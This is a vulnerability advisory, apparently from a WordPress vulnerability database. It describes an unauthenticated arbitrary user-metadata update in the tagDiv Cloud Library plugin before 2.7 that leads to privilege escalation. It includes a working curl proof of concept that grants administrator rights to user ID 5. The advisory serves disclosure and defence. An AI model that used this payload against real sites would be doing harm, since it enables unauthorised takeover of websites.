WordPress Plugin Vulnerabilities

tagDiv Cloud Library < 2.7 - Unauthenticated Arbitrary User Metadata Update to Privilege Escalation

Description

The plugin does not have authorisation and CSRF in an AJAX action accessible to both unauthenticated and authenticated users, allowing unauthenticated users to change arbitrary user metadata, which could lead to privilege escalation by setting themselves as an admin of the blog.

Proof of Concept

To set the user with ID 5 to an administrator:

curl -X POST --data 'action=tdb_user_form_on_submit&userID=5&formElements={"content-fields":[{"name":"wp_capabilities","value":{"administrator":true}}]}' https://example.com/wp-admin/admin-ajax.php

Affects Plugins

Fixed in 2.7

References

Classification

Miscellaneous

Original Researcher
Truoc Phan
Submitter
Truoc Phan
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-06-19 (about 1 years ago)
Added
2023-06-19 (about 1 years ago)
Last Updated
2023-06-19 (about 1 years ago)

Other